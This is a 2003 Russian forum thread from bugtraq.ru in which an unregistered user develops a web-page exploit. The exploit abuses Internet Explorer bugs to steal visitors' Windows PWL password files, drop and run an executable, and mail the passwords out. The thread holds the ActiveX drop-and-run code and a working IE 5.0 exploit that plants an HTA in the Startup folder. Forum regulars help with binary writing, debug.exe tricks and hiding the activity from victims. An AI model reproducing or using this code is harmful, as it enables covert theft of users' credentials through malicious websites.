информационная безопасность
без паники и всерьез
 подробно о проектеRambler's Top100
Страшный баг в WindowsСетевые кракеры и правда о деле Левина
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 Очередное исследование 19 миллиардов... 
 Оптимизация ввода-вывода как инструмент... 
 Зловреды выбирают Lisp и Delphi 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / форум / web building
Имя Пароль
если вы видите этот текст, отключите в настройках форума использование JavaScript
ФОРУМ
все доски
FAQ
IRC
новые сообщения
site updates
guestbook
beginners
sysadmin
programming
operating systems
theory
web building
software
hardware
networking
law
hacking
gadgets
job
dnet
humor
miscellaneous
scrap
регистрация





Легенда:
  новое сообщение
  закрытая нитка
  новое сообщение
  в закрытой нитке
  старое сообщение
У меня получилось в JScript... 14.07.03 10:58  Число просмотров: 2030
Автор: :-) <:-)> Статус: Elderman
Отредактировано 14.07.03 11:00  Количество правок: 1
<"чистая" ссылка>
...работать с двоичными данными :)

Символы с кодами <0x80 можно записывать Си-шной нотации \xHH.
Но, как ни странно, символы из второй половины ASCII-таблицы (>0x80) в таком виде записать нельзя! Видно, в M$ решили, что в наш век Unicode это не нужно.
Но зато если их вставить в текст "as is", то это работает:

s = "\x01\x02\x1A.....БВГДЇ"
f.Write(s);

Все оказалось просто, но никто ведь не подсказал :(
<web building>
Нужна помощь 14.06.03 07:44   [paganoid]
Автор: hello_world Статус: Незарегистрированный пользователь
<"чистая" ссылка>
Недавно зашел на http://www.guninski.com/browsers.html и решил сам написать эксплоит, который должен тырить pwl файлы через веб-страничку.
Сначала я воспользовался первым попавшимся багом (http://www.guninski.com/getobject1-desc.html). Мой скрипт тырил system.ini, читал имя pwl'ки из [password list], а потом скачивал саму pwl'ку. (не буду приводить исходник, все есть на guninski.com) Я залил скрипт на сервак и начал радостно смотреть, как одна за другой прибывают pwl'ки, но когда я попытался их расшифровать, то понял, что файлы приходят в измененном виде :((( Например, байт \xfe меняется на \x3f, а нулевые байты просто срезаются. Т.е. при обращении к свойству innerText текст каким-то образом форматируется. Это не касается букв и цифр, но почти все остальные байты портятся.
Но это меня не остановило и я решил попробовать другой баг (http://www.guninski.com/scrtlb-desc.html). Я сразу решил не заливать юзерам трояны, т.к. они все весят по 50-70 Kb. Я написал маленькую прогу на ассемблере, которая превращала pwl'ку в escape-строку (т.е. просто записывала байты в виде \xhh) и сохраняла в неприметном файле c:\001.tmp (А потом хотел просто слить с компа юзера, когда он второй раз зайдет на сайт) Потом я попытался залить эту прогу через броузер себе на комп и выполнить ее:

content='_код проги_';
f_obj=new ActiveXObject('Scripting.FileSystemObject');
fp=f_obj.CreateTextFile('c:\\escape.com',false);
fp.Write(content);
fp.Close();
wsh.Run('c:\\escape.com');

Но опять ничего не получилось!!! Выяснилось что моя прога опять записалась в слегка подпорченном виде :( Если бы проблема была только в нулевых байтах, то без них можно было бы обойтись, но к сожалению все гораздо сложнее.
Возможно все что я делаю это извращение, только хотелось бы узнать что надо делать :) Буду рад любой помощи.
Вот что получилось в результате :) 11.07.03 05:02  
Автор: hello_world Статус: Незарегистрированный пользователь
<"чистая" ссылка>
Код, который нужно вставить в страничку лежит тут:
http://www.dilar.by/e/exploit
Исходничок проги, которая пошлет пароли:
http://www.dilar.by/e/smtp.asm
incfile и incs лежат там же

Остается 1 вопрос: как скрыть вывод программы debug при обработке скрипта? А то юзеру плохо может стать, когда он увидит цифры ползущие по экрану :)
Еще хотелось бы закрыть окно hta и желательно средствами java, а то на асме писать неахота :) Может кто подскажет как это сделать, а то я яву совсем не знаю :)
Вот что получилось в результате :) 12.07.03 10:08  
Автор: :-) <:-)> Статус: Elderman
<"чистая" ссылка>
> Остается 1 вопрос: как скрыть вывод программы debug при
> обработке скрипта? А то юзеру плохо может стать, когда он
> увидит цифры ползущие по экрану :)

Разве что что перенаправить в >nul, но окно ДОС-сеанса все равно будет появляться...
Я не пойму, а зачем тебе вообще debug.exe?
Сделай этот .hta на VBScript и пиши сразу двоичные данные в файл (я же пример кода приводил в той мессаге)

> Еще хотелось бы закрыть окно hta и желательно средствами
> java, а то на асме писать неахота :) Может кто подскажет
> как это сделать, а то я яву совсем не знаю :)

Это же всего несколько строчек на asm - FindWindow/SendMesage
А из JavaScript вряд ли это можно сделать...
Вот что получилось в результате :) 13.07.03 02:09  
Автор: hello_world Статус: Незарегистрированный пользователь
<"чистая" ссылка>
> Я не пойму, а зачем тебе вообще debug.exe?
> Сделай этот .hta на VBScript и пиши сразу двоичные данные в
> файл (я же пример кода приводил в той мессаге)
Да, на vbs действительно лучше, хотя файл примерно 40Кб весит

> Это же всего несколько строчек на asm -
> FindWindow/SendMesage
> А из JavaScript вряд ли это можно сделать...
Достаточно просто убить процесс c:\windows\system\mshta.exe
У меня получилось в JScript... 14.07.03 10:58  
Автор: :-) <:-)> Статус: Elderman
Отредактировано 14.07.03 11:00  Количество правок: 1
<"чистая" ссылка>
...работать с двоичными данными :)

Символы с кодами <0x80 можно записывать Си-шной нотации \xHH.
Но, как ни странно, символы из второй половины ASCII-таблицы (>0x80) в таком виде записать нельзя! Видно, в M$ решили, что в наш век Unicode это не нужно.
Но зато если их вставить в текст "as is", то это работает:

s = "\x01\x02\x1A.....БВГДЇ"
f.Write(s);

Все оказалось просто, но никто ведь не подсказал :(
У меня получилось в JScript... 14.07.03 15:23  
Автор: hello_world Статус: Незарегистрированный пользователь
Отредактировано 14.07.03 15:24  Количество правок: 1
<"чистая" ссылка>
Какая у тебя ОС/браузер ?
У меня, например само наличие байта \x00 говорит о том, что файл не будет записан. При этом никакой ошибки не возникает. Даже при попытке запустить этот файл не вылетает ошибки, хотя самого файла нет.
У меня получилось в JScript... 14.07.03 19:46  
Автор: :-) <:-)> Статус: Elderman
<"чистая" ссылка>
> Какая у тебя ОС/браузер ?

IE 6.0, но я специально проверял еще в IE 5.0, где работает этот эксплойт.

> У меня, например само наличие байта \x00 говорит о том, что
> файл не будет записан. При этом никакой ошибки не
> возникает. Даже при попытке запустить этот файл не вылетает
> ошибки, хотя самого файла нет.

А что говорит
WScript.Echo(WScript.Version) ?
извиняюсь... 14.07.03 23:37  
Автор: hello_world Статус: Незарегистрированный пользователь
<"чистая" ссылка>
Ты был прав все работает. Это просто меня сильно проглючило :(
Большое спасибо :)
Нужна помощь 18.06.03 17:44  
Автор: :-) <:-)> Статус: Elderman
Отредактировано 18.06.03 17:53  Количество правок: 1
<"чистая" ссылка>
...skipped
> Я написал маленькую прогу на ассемблере, которая превращала
> pwl'ку в escape-строку (т.е. просто записывала байты в виде
> \xhh) и сохраняла в неприметном файле c:\001.tmp (А потом
> хотел просто слить с компа юзера, когда он второй раз
> зайдет на сайт) Потом я попытался залить эту прогу через
> броузер себе на комп и выполнить ее:
>
> content='_код проги_';
> f_obj=new ActiveXObject('Scripting.FileSystemObject');
> fp=f_obj.CreateTextFile('c:\\escape.com',false);
> fp.Write(content);
> fp.Close();
> wsh.Run('c:\\escape.com');

Тут можно вместо JScript использовать VBScript. В нем есть функция chr:
content=chr(2)+chr(5)+chr(255)
set f_obj=CreateObject("Scripting.FileSystemObject")
set fp=f_obj.CreateTextFile("c:\escape.com",false)
fp.Write(content)
fp.Close()

Про другие способы:
Если уж ты пишешь программку на ассемблере в виде маленького .com-файла, то пиши ее так, чтобы она содержала только текстовые символы.
Есть конвертеры, которые преобразуют .com-файл таким образом (filehide например).
Еще двоичный файл можно создать через debug.exe.
В текстовый файл пишешь debug-скрипт для создания своего файла, потом даешь команду
debug <myscript.dbg
Спасибо :) 18.06.03 21:16  
Автор: hello_world Статус: Незарегистрированный пользователь
<"чистая" ссылка>
> Если уж ты пишешь программку на ассемблере в виде
> маленького .com-файла
- другого способа пока не вижу

> то пиши ее так, чтобы она содержала
> только текстовые символы.
- такая мысль уже приходила, но это имхо изврат :)

Огромное спасибо за все предложенные способы! Сейчас только сдам вступительные экзамены и сразу сяду кодить :)
поставим вопрос по-другому 18.06.03 01:11  
Автор: hello_world Статус: Незарегистрированный пользователь
<"чистая" ссылка>
Кто-нибудь знает, есть ли activex функция, которая пишет(читает) в файл N любых байтов, как например write() в C ?
И еще очень бы хотелось знать мнение кого-нибудь кто уже писал что-то подобное. Если все это слишком просто и даже не стоит обсуждения, то напишите хотябы об этом. Просто хочется хоть что-нибудь услышать :)
Заранее спасибо.
activex может почти все, что может обычная прога под винду, так что почитай msdn 18.06.03 08:55  
Автор: tdes <jin> Статус: Member
<"чистая" ссылка>
Вообще-то веб не может сохранять произвольные данные 18.06.03 02:08  
Автор: amirul <Serge> Статус: The Elderman
<"чистая" ссылка>
> Кто-нибудь знает, есть ли activex функция, которая
> пишет(читает) в файл N любых байтов, как например write() в
> C ?
Это очень уж пахнет DoS-ом, когда любой сайт может заполнить весь диск какими то данными.

Для этих целей используется кеш бровсера. Правда свой файл там еще найти надо - именно для противодействия такому запуску у всех бровсеров путь к файлам в кеше содержит какие нибудь случайные символы. Не помню где, но вроде бы я видел пример как можно узать путь к кешу в IE. Не очень похоже на реальную помощь, но по крайней мере будешь знать, что безопасность при разработке бровсеров ставится не на последнее место. И как раз такие действия и пытаются исключить всеми способами.
Вообще-то веб не может сохранять произвольные данные 18.06.03 02:37  
Автор: hello_world Статус: Незарегистрированный пользователь
<"чистая" ссылка>
В IE 5.0 есть баг, позволяющий вот таким образом выполнить любую команду:

<object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC">
</object>
<SCRIPT>
scr.Reset();
scr.Path="C:\\windows\\Главное меню\\Программы\\Автозагрузка\\exploit.hta";
scr.Doc="<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>"+
"wsh.Run('c:\\command.com');"+
"</SCRIPT"+">";
scr.write();
</SCRIPT>
</object>

Я проверял. Это работает. Единственная проблема в том, что я не могу записать туда свою прогу, т.к. все функции activex, которые я знаю, не хотят правильно работать с двоичными данными :(
А за кэш спасибо. Буду доки искать.
Вообще-то веб не может сохранять произвольные данные 18.06.03 15:35  
Автор: amirul <Serge> Статус: The Elderman
<"чистая" ссылка>
> В IE 5.0 есть баг, позволяющий вот таким образом выполнить
> любую команду:
Баги, позволяющие удаленно запустить любую прогу периодически появляются.

> Я проверял. Это работает. Единственная проблема в том, что
> я не могу записать туда свою прогу, т.к. все функции
> activex, которые я знаю, не хотят правильно работать с
> двоичными данными :(
Вот как раз это я и имел в виду. Чтоб запустить СВОЮ программу нужно две уязвимости - чтоб загрузить (или найти в кеше) и чтоб запустить. А это повышает безопасность. Так что просто так стандартными средствами записать что угодно на винт пользователю тебе вряд ли дадут - только дыра какая то.

> А за кэш спасибо. Буду доки искать.
1




Rambler's Top100
Рейтинг@Mail.ru


  Copyright © 2001-2025 Dmitry Leonov   Page build time: 1 s   Design: Vadim Derkach